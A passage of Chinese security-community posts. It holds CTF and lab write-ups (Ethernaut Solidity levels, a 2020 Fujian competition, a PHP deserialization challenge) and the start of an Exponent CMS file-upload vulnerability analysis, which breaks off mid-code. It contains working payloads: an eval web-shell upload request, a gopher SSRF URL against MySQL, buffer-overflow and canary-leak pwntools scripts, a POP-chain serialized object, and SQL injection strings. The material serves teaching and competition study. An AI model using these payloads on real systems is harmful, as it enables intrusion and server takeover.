function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
`gateOne()` 和上一题一样，用第三方合约来调用 `enter()` 即可满足条件。
`gateThree()` 也比较简单，由于是个异或，可以直接算出来。
`_gateKey = (bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1))`
比较有技巧性的是 `gateTwo()` ，用了内联汇编的写法。
翻了一下文档 <https://ethereum.github.io/yellowpaper/paper.pdf>
* `caller` : `Get caller address.`
* `extcodesize` : `Get size of an account’s code.`
按照题目的意思，要使当前合约代码区为空，显然与解题是矛盾的。
仔细读文档，注意到一些细节
> Note that while the initialisation code is executing, the newly created
> address exists but with no intrinsic body code.
> ……
> During initialization code execution, EXTCODESIZE on the address should
> return zero, which is the length of the code of the account while CODESIZE
> should return the length of the initialization code.
也就是说，在执行初始化代码（构造函数），而新的区块还未添加到链上的时候，新的地址已经生成，然而代码区为空。此时，调用 `EXTCODESIZE()` 返回为
0
那么，只需要在第三方合约的构造函数中来调用题目合约中的 `enter()` 即可满足条件。
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract Attack {
address instance_address = instance_address_here;
GatekeeperTwo target = GatekeeperTwo(instance_address);
function Attack(){
target.enter((bytes8)(uint64(keccak256(address(this))) ^ (uint64(0) - 1)));
}
}
部署合约，自动调用构造函数的 `target.enter()`，完成攻击。
## 15\. Naught Coin
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {
_;
}
} else {
_;
}
}
}
根据题意，需要将自己的 balance 清空。合约里提供了 `transfer()` 函数来进行转账操作，但注意到有一个 modifier
`lockTokens()`，限制了只有十年后才能调用 `transfer()` 函数。需要解题者 bypass it
注意到该合约是 `StandardToken` 的子合约，题目中也给出了源码库地址与 ERC20 接口规范文档
<https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts>
<https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md>
在子合约中找不出更多信息的时候，把目光更多放到父合约和接口上
在接口规范里能看到，除了 `transfer()` 之外，还有 `transferFrom()` 函数也可以进行转账操作。
由于 NaughtCoin 子合约中并没有实现该接口，我们可以直接调用，从而绕开了 `lockTokens()` ，题目的突破口就在此。
需要注意的是，与 `transfer()` 不同，调用 `transferFrom()` 需要 `msg.sender` 获得授权。由于我们本就是合约的
owner，可以自己给自己授权。授权操作在接口文档里也有
function approve(address _spender, uint256 _value) returns (bool success)
还有一点，转账的目标账户不能是非法地址，所以需要部署一个第三方 NaughtCoin 合约。注意 import 的时候地址是 github 链接。
pragma solidity ^0.4.18;
import 'https://github.com/OpenZeppelin/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
if (now < timeLock) {
_;
}
} else {
_;
}
}
}
部署完成后复制合约地址，直接在题目界面 console 操作
contract.approve(player, (await contract.INITIAL_SUPPLY()).toNumber())
// 给自己授权
contract.transferFrom(player, 3rd_contract_address, (await contract.INITIAL_SUPPLY()).toNumber())
// 向刚部署的第三方合约转钱，清空 player 的 balance
// You have completed this level !!!
提交之后，可以看一下 Zeppelin 给出的建议
> When using code that’s not your own, it’s a good idea to familiarize
> yourself with it to get a good understanding of how everything fits
> together. This can be particularly important when there are multiple levels
> of imports (your imports have imports) or when you are implementing
> authorization controls, e.g. when you’re allowing or disallowing people from
> doing things. In this example, a developer might scan through the code and
> think that transfer is the only way to move tokens around, low and behold
> there are other ways of performing the same operation with a different
> implementation.
## References
<https://remix.readthedocs.io/en/latest/>
<http://solidity.readthedocs.io/en/v0.4.23/>
<https://ethereum.github.io/yellowpaper/paper.pdf>
<http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/>
<http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/>
## 写在最后
如果文章里出现了一些错误，接受大家的批评与指正。
也欢迎同样感兴趣的朋友与我交流联系。
<http://mitah.cn/index.php/about-me.html>
审核人：yiwang 编辑：边边 | 社区文章 |
# 2020年国家网络安全宣传周福建省网络空间安全技能竞赛CTF-Writeup总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Crypto-Factor
明显的RSA,将n分解得三个因数：
p=[
_11761833764528579549_](http://www.factordb.com/index.php?id=1100000001489178413)
q=[
_17100682436035561357_](http://www.factordb.com/index.php?id=1100000001489178411)
r=[
_17172929050033177661_](http://www.factordb.com/index.php?id=1100000001489178414)
下面求n得欧拉函数，当直接phi=(p-1) _(q-1)_
(r-1)时，发现e和phi有公约数，求不出私钥d,使用gcd发现，e和p有最大公约数3，因此得
from libnum import *
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
n = 3454083680130687060405946528826790951695785465926614724373
c = 1347530713288996422676156069761604101177635382955634367208
p = 17100682436035561357
q = 11761833764528579549
r = 17172929050033177661
e = 3
print(gcd(p - 1, e), gcd(q - 1, e), gcd(r - 1, e))
inve_qr = invmod(e, (q - 1) * (r - 1))
invd = (e * inve_qr, (q - 1) * (r - 1))
m = pow(c, inve_qr, q * r)
print(n2s(m))
# CMISCCTF{3_RSA}
## Crypto-Change
2019百越杯和高校网安运维赛的原题。
import gmpy2
from libnum import invmod, n2s
c = 182812482972168423884795132699225934365072979206288632257180603530046820174392675977209758378734399146216742345585898385168866887000708558119959898992294085847474548306743585711154035585848291290988967352517174312220756638881837930962458861193652684492265539096477345065113556380573776423787885892688197584678128636231428194711357642971544417113415626331810909274966752557628893585198569815939514862013512237657828262360291726912615575646318630641527418369988268899879152029186728850816178597399494254385226049249357897840618728804680238123954207656671747782543031545429711152272581734051959578453680011676521727918037340906791388178004979453256050227967701258768070039292546964652071924183467364467145178290753361477912582242961929982420950384199259355122986865808523351306098081481072454093823090
n = 438980397031315392229453908048509540832246041631432878509579665664182747463100230160823865621798053164989325086085003940181731721089701380743698761443812523024144817205902380903062054138730658451286904347536210833160924917347633148983052015550354913154312162901555870494273903714349869746793861874257201085777893961715468950661641778512110325457371446203379767458862059193946434683324578530163650541637261158037041205642428802942295011562277084687025213626698849526240663754073508102229066475773893638716845176469070938803298515155140240970836387785401085919369741520890271902332951669953411373633688944162470994856654604872287103746922041844065053274059990595496159866206551119361036237431289830985174384522423364811997241255005514248198447925396378192915553898993758660041223393168707380580012437
e = 65537
n1 = n // (10 ** 600)
n2 = (n // (10 ** 400)) % (10 ** 200)
n3 = (n // (10 ** 200)) % (10 ** 200)
n4 = n % (10 ** 200)
AB = 0
if ((n2 // 10 ** 199) >= n4 // (10 ** 199)): # 未进位情况
AB = n1 * (10 ** 200) + n4
else: # 进位情况
AB = (n1 - 1) * (10 ** 200) + n4
A2B2 = (n - AB * (10 ** 400 + 1)) // (10 ** 200) # A*A+B*B
AaddB = int(gmpy2.iroot(A2B2 + 2 * AB, 2)[0]) # A+B
A_B = int(gmpy2.iroot((A2B2 - 2 * AB), 2)[0]) # A-B
A = (AaddB + A_B) // 2
B = (AaddB - A_B) // 2
p = A * (10 ** 200) + B
q = B * (10 ** 200) + A
phi = (p - 1) * (q - 1)
invd = invmod(e, phi)
m = pow(c, invd, n)
print(n2s(m))
# CMISCCTF{easy_math_game_hhhhhhh}
## Crypto-Round
凯撒密码。
def change(c, i):
num = ord(c)
if (num >= 33 and num <= 126):
num = 33 + (num + i - 33) % (94) # 126-33=93
return chr(num)
def kaisa_jiAmi(string, i):
string_new = ''
for s in string:
string_new += change(s, i)
print(string_new)
return string_new
def kaisa_jiEmi(string):
for i in range(0, 94):
print('第' + str(i + 1) + '种可能:', end=' ')
# 区别在于 string 是该对象原本就是字符串类型, 而 str()则是将该对象转换成字符串类型。
kaisa_jiAmi(string, i)
# 你要知道input输入的数据类型都是string
def main():
kaisa_jiEmi(':D@J::K=r<ecXi^\[V:X\jXit')
if __name__ == '__main__':
main()
# CMISCCTF{Enlarged_Caesar}
## Misc-blue
binwalk -e分离出pcapng流量包，查看发送是sql注入流量，分析流量获得flag
flag{Gre4t_jOB_ON_This_Blue_sh4rk}
## Misc-BURPS
发现原始文件很小猜测CRC32碰撞
[_CRC32_ _碰撞脚本:
https://github.com/theonlypwner/crc32_](https://github.com/theonlypwner/crc32)
将1-6.txt的校验码提取出来，然后使用脚本碰撞。
得到解压密码
the_password_here_cipher
解压得到flag
CMISCCTF{how_to_burp_by_coding}
## Misc-encrypt
zip伪加密，修改hex为00后解压再解两次base64。
CMISCCTF{Fake_encryption}
## Misc-TREES
解压得到一张图片
使用stegsolve软件打开图片
打开red plane7通道
发现可以看到一些点组成的字母
观察可得flag，值得注意的是的是中间有一个下划线
CMISCCTF{coconut_tree}
## Misc-QRCODE
得到一张残缺的二维码
[_残缺二维码修复在线网站：https://merricx.github.io/qrazybox/_](https://merricx.github.io/qrazybox/)
使用在线修复网站，二维码是version4 版本，尺寸33×33，把这一半填好
然后像灰色的地方添白
得到
扫描识别
CMISCCTF{qr_c0de_r3c0very}
## Misc-Blind
题目一张图blind.png，一个enc.rar的压缩包，压缩包有密码
密码应该应该藏在png
Binwlak分析
发现还有一张图片 分离出来，发现两张图片一样，盲水印解一下。
解压密码：Q@CTF@NX，得到ctfer.png。
010分析
选中第二张图片 插入文件头
得到flag
CMISCCTF{double_picture}
## Misc-music
解压题目附件得到music.wav
正放和反放没听出什么特征出来，看特征高低振幅明显，使用脚本对高低振幅转换为01，高振幅为1，低振幅为0，使用python脚本转换，并且将转换出来的01二进制文件流，八个一组转换为两位十六进制，然后将十六进制文件流写入文件内，脚本如下
import numpy as np
import struct
import wave
import re
def write_records(records, format, f):
#Write a sequence of tuples to a binary file of structures.
record_struct = Struct(format)
for r in records:
f.write(record_struct.pack(*r))
path = "./music.wav"
f = wave.open(path, "rb")
# 读取格式信息
# (nchannels, sampwidth, framerate, nframes, comptype, compname)
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
# 读取波形数据
str_data = f.readframes(nframes)
f.close()
#将波形数据转换为数组
wave_data = np.fromstring(str_data, dtype=np.short)
b = ''
# arr = [elem for elem in wave_data if elem >0]
max = 0
d = ''
for i in wave_data:
if i <0:
if max !=0:
if max<25000:
d +='0'
else:
d += '1'
pass
max = 0
if max < i:
max = i
print(d)
print("\n\n\n\n")
a = re.findall(r'.{8}',d)
hex_list=[]
for i in a:
res = hex(int(i,2))
hex_list.append(res)
print(hex_list)
with open("result.txt","wb") as f:
for x in hex_list:
s = struct.pack('B',int(x,16))
f.write(s)
使用010 editor打开发现是RAR的头文件，修改文件后缀为.rar
解压得到
nnnnoflag.txt并没有flag内容，rar的压缩包中也无其他内容，猜测这里有NTFS文件流隐写
使用ntfsstreamseditor扫描nnnnoflag.txt的目录
发现隐写了张图片，导出图片得到如下半张二维码
猜测图片有可能修改了宽高，使用01 editor修改十六进制高度和宽度相同为：01 18
扫描得到flag
flag{4dcfda814ec9fd4761c1139fee3f65eb}
## Reverse-Check
Angr +符号执行
#define MAX_SIZE 0x40
#include <stdio.h>
#include <stdlib.h>
unsigned char check[] = {
0x03, 0x12, 0x1a, 0x17, 0x0a, 0xec, 0xf2, 0x14, 0x0e, 0x05, 0x03, 0x1d,
0x19, 0x0e, 0x02, 0x0a, 0x1f, 0x07, 0x0c, 0x01, 0x17, 0x06, 0x0c, 0x0a,
0x19, 0x13, 0x0a, 0x16, 0x1c, 0x18, 0x08, 0x07, 0x1a, 0x03, 0x1d, 0x1c,
0x11, 0x0b, 0xf3, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05
};
int reverse(unsigned char *a1) {
int k; // [rsp+0h] [rbp-18h]
int j; // [rsp+4h] [rbp-14h]
int i; // [rsp+8h] [rbp-10h]
for ( i = 0; i < MAX_SIZE; ++i )
a1[i] += 5;
for ( j = 0; j < MAX_SIZE - 1; ++j )
a1[j] ^= a1[j + 1];
for ( k = 0; ; ++k )
{
if ( k >= MAX_SIZE )
return 1;
if ( check[k] != a1[k] )
break;
}
return 0LL;
}
int main(int argc, char *argv[]) {
char flaggie[0x50];
read(0, flaggie, 0x40);
return reverse(flaggie);
}
使用以下命令编译为二进制文件
gcc source.c -no-pie -o flag
然后。
import angr
p = angr.Project('./flag')
pg = p.factory.simulation_manager()
# find is the addr for the "good case" we want to reach
# avoid is the "bad case"
e = pg.explore(find=0x0040120d, avoid=0x0040123f)
if len(e.found) > 0:
print(e.found[0].posix.dumps(0))
得到flag
CMISCCTF{machine_agnostic_that_not_easy}
## Reverse-Crackme
反编译后发现用户名和密码进行计算产生一个值 a1, a1进行接下来的计算 找到关键计算部分：
v3 = 3114571393449336878LL;
v4 = 3609637387099048214LL;
v5 = 649376180647958543LL;
v6 = 16916018;
v7 = 2075;
v8 = 16;
for ( i = 0; i <= 30; ++i )
putchar(a1 ^ *((char *)&v3 + i));
其中这几个数据类型识别有问题，正常应该是char数组
转换后依次尝试a1的值，找到一个这样的字符串：FTCCSIMC_uoy_od{dna_prublos_ev}
将该字符串倒序，分组、拼接即得flag：
CMISCCTF{do_you_burp_and_solve}
## Pwn_cmcc_stack
惯例checksec，只开了NX保护，四舍五入就是没有保护
拖入IDA，发现当v5的值为-559038737（0xdeadbeef）时可以getflag
read函数读入到地址esp+0x80-0x68，v5的地址是esp+0x7c，所以我们只需要覆盖掉v5的值为0xdeafbeef即可getflag
故构造payload如下
from pwn import *
pl = b'A'*0x64 + p32(0xdeadbeef)
p = process('./bin')#p = remote('192.168.5.11',22987)
p.sendline(pl)
p.interactive()
## Pwn_canary
惯例的checksec，开了NX保护和Canary，说明我们不能像之前那样轻松地溢出了，需要绕过Canary
拖入IDA进行分析，我们可以发现在fun()函数处存在溢出，偏移量为0x70，故考虑绕过canary后控制程序返回至getflag()
如何绕过canary？在main函数中我们可以看到其先读入format再输出format，存在格式化字符串漏洞，我们可以利用这个来输出canary的值，再覆盖掉即可
故构造payload如下
from pwn import *
pl1 = '%7$x'
get_flag = 0x804863d
p = process('./canary')#p = remote('192.168.5.11',39274)
p.sendline(pl1)
cnry = int(p.recv(),16)
pl2 = 26*p32(cnry) + p32(get_flag)
p.sendline(pl2)
p.interactive()
得到flag
## Web-eeasyweb
伪协议读。
GET /?page=php://filter/read=convert.base64-encode/resource=flag.php
# flag{web_eeasyweb}
## Web-Greatctf
修改xff为127.0.0.1，宽字节注入。
usernmae=admin%df’||1=1#password=admin
提示:flag in the http://ip/greatctfea5y55rf/。
访问提示swp泄露，再访问.index.php.swp。
<?php
$argv[1]=$_GET['a'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/great\.ctf$/',$r['host']))
{
$a=file_get_contents($argv[1]);
echo($a);
}else
{
echo("error");
}
}else
{
echo "Error:Invalid URL; WhereIsSourceCode ";
}
?>
构造。
GET ?a=south://great.ctf/../../../../../../../../flag.txt
# flag{greatctf}
## Web-simplebrowser
源代码提示
我的flag都放在数据库ctfcontest里，你用admin账户就能访问到，快去找吧！
推测是gopher打mysql，gopherus一把梭。
python gopherus.py –exploit mysql
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\\\____ \| | \\_/ __ \\_ __ \ | \/ ___/
\ \\_\ ( <_> ) |_> > Y \ ___/| | \/ | /\\___ \
\\______ /\\____/| __/|___| /\\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
For making it work username should not be password protected!!!
Give MySQL username: admin
Give query to execute: use ctfcontest;show tables;select * from flag;
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:3306/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%2f%00%00%00%03%75%73%65%20%63%74%66%63%6f%6e%74%65%73%74%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%3b%01%00%00%00%01
flag{wqweb_simplebrowser}
## Web-aurorawebsit
右键源代码有提示，进入上传页面后，Content-Type绕过。
burpsuite不停发包，浏览器不停刷新访问shell就行。
POST /h1dden_aurora_hochladen.php HTTP/1.1
Host: 172.1.2.15
Content-Length: 323
Cache-Control: max-age=0
Origin: http://172.1.2.15
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIkStpUBRiMXKspD4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.1.2.15/h1dden_aurora_hochladen.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
Connection: close
------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="upload_file"; filename="south.php"
Content-Type: image/jpeg
<?php
eval($_GET['south']);
?>
------WebKitFormBoundaryIkStpUBRiMXKspD4
Content-Disposition: form-data; name="submit"
ä¸ä¼
------WebKitFormBoundaryIkStpUBRiMXKspD4--
得到flag。
flag{aurorawebsit}
##
## 活动简介
网络空间的竞争，归根到底是人才的竞争。9月12日至13日，由省委网信办、省教育厅、省公安厅联合主办的2020年国家网络安全宣传周福建省网络空间安全技能竞赛高校学生组暨“黑盾杯”赛项成功举办。
竞赛详情了解：<http://www.si.net.cn/>
解题思路来源：厦门理工学院_CodeMonster战队
承办单位:福建师范大学、福建广电网络集团
协办单位:福建省网络与信息安全产业发展促进会、福建省互联网协会、福建省网络安全与密码技术重点实验室、福建省计算机学会网络与信息安全专业委员会、福建省信息网络重点实验室、福建省海峡信息技术有限公司、福建国科信息科技有限公司 | 社区文章 |
因为实验环境已经关闭，就在本地搭建了一个环境。
<http://127.0.0.1:8080/>
访问之后提示我们去找源码
## 0x01 分析入口点
通过扫描路径找到 www.zip
<http://127.0.0.1:8080/www.zip>
下载解压后得到 index.php
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
看到 unserialize 函数就知道是反序列化题目了，入口是 hello 参数
<http://127.0.0.1:8080/index.php?hello=>
我们需要这么去传参。
## 0x02 分析漏洞点
不难发现在 class Room 处有一个可以读取文件并返回 base64编码数据的接口
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
但是我们需要触发 __invoke 这个魔法函数。当对象被当成函数执行时就会进入到这个魔法函数。
>
> 当尝试以调用函数的方式调用一个对象时，[__invoke()](http://php.net/manual/zh/language.oop5.magic.php#object.invoke)
> 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
$t = new Room;
$t();
// 触发 __invoke
那么可能触发它的地方同样在 class Room 里面的 __get 魔法函数
public function __get($name){
$function = $this->a;
return $function();
}
也就是说我们将 a 变量替换成 class Room 对象即可触发 _ _invoke 拿到 flag，但有个前提。需要我们触发 \_ _get
这个魔法函数
$t = new Room;
$t->bucunzaideshuxing;
// 触发 __get
>
> 读取不可访问属性的值时，[__get()](http://php.net/manual/zh/language.oop5.overloading.php#object.get)
> 会被调用。
当我们访问对象不存在的属性时就会触发这个魔法函数，在 class Info 中就可以找到。
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
我们需要 `$this->file['filename'] = new Room;` 但在此还有一个前提，如何触发 __toString 魔法函数
$i = new Info;
echo $i;
// 触发 __toString
>
> [__toString()](http://php.net/manual/zh/language.oop5.magic.php#object.tostring)
> 方法用于定义一个类被当成字符串时该如何处理。
在 class Start 就能找到触发点
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
很明显我们需要将 `$this->name = new Info;`在此之前我们需要触发 __wakeup ，这就说明我们序列化的对象就是这个。
> 在使用 [unserialize()](http://php.net/manual/zh/function.unserialize.php)
> 时，会检查是否存在一个
> [__wakeup()](http://php.net/manual/zh/language.oop5.magic.php#object.wakeup)
> 魔术方法。如果存在，则该方法会先被调用，预先准备对象需要的资源。
## 0x03 整理思路
1. 先将 class Start 中的 name 赋值 class Info
a . 触发 Info __toString
2. 将 class Info 的 file 赋值成数组对象，其中 'filename' => class Room
a. 触发 Room __get
3. class Room 的 a 要等于自身
a. 触发 Room __invoke
b . 触发 file_get_contents 得到 base64 flag
c. Base64 转码后得到 flag
## 0x04 POC
<?php
class Start
{
public $name;
}
class Info{
public $file;
}
class Room{
public $a;
}
$p = new Start();
$L = new Info();
$r = new Room();
$p->name = $L; // 1. 赋值 Info 对象
$L->file = array('filename'=>$r); // 2. 赋值 Room 对象
$r->a=$r; // 3. 等于自身
echo serialize($p); // 4. 序列化 Start 对象
最终序列化出来的字符串
`O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":1:{s:1:"a";r:4;}}}}`
## 0x05 思考与总结
1. 我在本地测试时把源码中的 `error_reporting(1);`删除后能看到很多报错信息，这些信息可以帮助我们迅速的找到问题，但在题目环境中是没有的，我们可以先拿我们自己的源码尝试一遍。
2. 反序列化重点在于变量和魔法函数的触发。
## 0x06 参考链接
[PHP反序列化之POP链入门&&找感觉
的习题练习，详解](https://blog.csdn.net/Zero_Adam/article/details/113416814)
[PHP反序列化入门之常见魔术方法](https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8B%E5%B8%B8%E8%A7%81%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95/)
[PHP反序列化漏洞简介及相关技巧小结](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651076950&idx=4&sn=b3194e9f83218d18860dd88ef2fe39e2&chksm=bd1fabdd8a6822cb2a64290b6c644d45f64b301faea6d55a6a01d40e3e888006f99405b508e9&mpshare=1&scene=1&srcid=0612z0ZcyWfS7H6uykF07ykU&sharer_sharetime=1623473177285&sharer_shareid=94a8c9558b6cea15babea792a0ddda2b#rd) | 社区文章 |
# 【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者： Balisong**
**稿费：500RMB**
Exponent
cms是一款国外的cms,功能比较强大。但是在2.3.8版本及以下，存在着一个全版本通杀的任意文件上传漏洞。攻击者可以通过该漏洞直接getshell.
官方最新版2.3.9已经修复([http://www.exponentcms.org)](http://www.exponentcms.org\))
**
**
**漏洞分析：**
我们首先看一下漏洞触发点在:
/framework/modules/ecommerce/controllers/eventregistrationController.php中第1161行：
if (!empty($_FILES['attach']['size'])) {
$dir = 'tmp';
$filename = expFile::fixName(time() . '_' . $_FILES['attach']['name']);
$dest = $dir . '/' . $filename;
//Check to see if the directory exists. If not, create the directory structure.
if (!file_exists(BASE.$dir)) expFile::makeDirectory($dir);
// Move the temporary uploaded file into the destination directory, and change the name.
$file = expFile::moveUploadedFile($_FILES['attach']['tmp_name'], BASE . $dest);
// $finfo = finfo_open(FILEINFO_MIME_TYPE);
// $relpath = str_replace(PATH_RELATIVE, '', BASE);
// $ftype = finfo_file($finfo, BASE.$dest);
// finfo_close($finfo);
if (!empty($file)) $mail->attach_file_on_disk(BASE . $file, expFile::getMimeType(BASE . $file));
}
$from = array(ecomconfig::getConfig('from_address') => ecomconfig::getConfig('from_name'));
if (empty($from[0])) $from = SMTP_FROMADDRESS;
$mail->quickBatchSend(array(
'headers'=>$headers,
'html_message'=> $this->params['email_message'],
'text_message'=> strip_tags(str_replace("<br>", "", $this->params['email_message'])),
'to' => $email_addy,
'from' => $from,
'subject' => $this->params['email_subject']
));
if (!empty($file))unlink(BASE . $file); // delete temp file attachment
flash('message', gt("You're email to event registrants has been sent."));
expHistory::back();
}
然后我们可以看到这里有一个文件上传的操作，我们跟踪一下moveUploadedFile函数，在/framework/modules/file/models/expFile.php中第1508行：
public static function moveUploadedFile($tmp_name, $dest) {
move_uploaded_file($tmp_name, $dest);
if (file_exists($dest)) {
$__oldumask = umask(0);
chmod($dest, octdec(FILE_DEFAULT_MODE_STR + 0));
umask($__oldumask);
return str_replace(BASE, '', $dest);
} else return null;
}
这里没有对后缀名进行一个检测，可以上传任意文件。文件命名的方式是time()+下划线+文件名。
然后我们看到紧跟着就有一个文件删除的操作：
if (!empty($file))unlink(BASE . $file);
看起来是没有问题的，传上去之后立马删除掉了，因为文件存在的时间超级短，并且文件命名的方式里面带有时间戳，导致我们无法利用这个文件。
但是这里有个细节，就是在上传文件到删除文件的过程中，调用了一个函数操作：
也就是
$mail->quickBatchSend(array(
'headers'=>$headers,
'html_message'=> $this->params['email_message'],
'text_message'=> strip_tags(str_replace("<br>", "", $this->params['email_message'])),
'to' => $email_addy,
'from' => $from,
'subject' => $this->params['email_subject']
));
我们开始跟踪一下该函数：
在/framework/core/subsystems/expMail.php中第378行：
public function quickBatchSend($params = array()) {
if (empty($params['html_message']) && empty($params['text_message'])) {
return false;
}
// set up the to address(es)
if (is_array($params['to'])) {
$params['to'] = array_filter($params['to']);
} else {
$params['to'] = array(trim($params['to']));
}
if (empty($params['to'])) {
$params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours
}
$this->addTo($params['to']); // we only do this to save addresses in our object
// set up the from address(es)
if (is_array($params['from'])) {
$params['from'] = array_filter($params['from']);
} else {
$params['from'] = trim($params['from']);
}
在这里又调用了一个函数addto()，我们继续跟踪该函数，在该文件的 644行：
public function addTo($email = null) {
// attempt to fix a bad to address
if (is_array($email)) {
foreach ($email as $address=>$name) {
if (is_integer($address)) {
if (strstr($name,'.') === false) {
$email[$address] .= $name.'.net';
}
}
}
} else {
if (strstr($email,'.') === false) {
$email .= '.net';
}
}
$this->to = $email;
if (!empty($email)) {
$this->message->setTo($email); //fixme this resets the 'to' addresses, unless using $this->message->addTo($email);
// $this->message->addTo($email); //if you need to reset the 'to' addresses, use $this->flushRecipients();
}
}
这里又调用了一个setTo()函数，我们继续跟踪该函数，在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleMessage.php中第316行：
public function setTo($addresses, $name = null)
{
if (!is_array($addresses) && isset($name)) {
$addresses = array($addresses => $name);
}
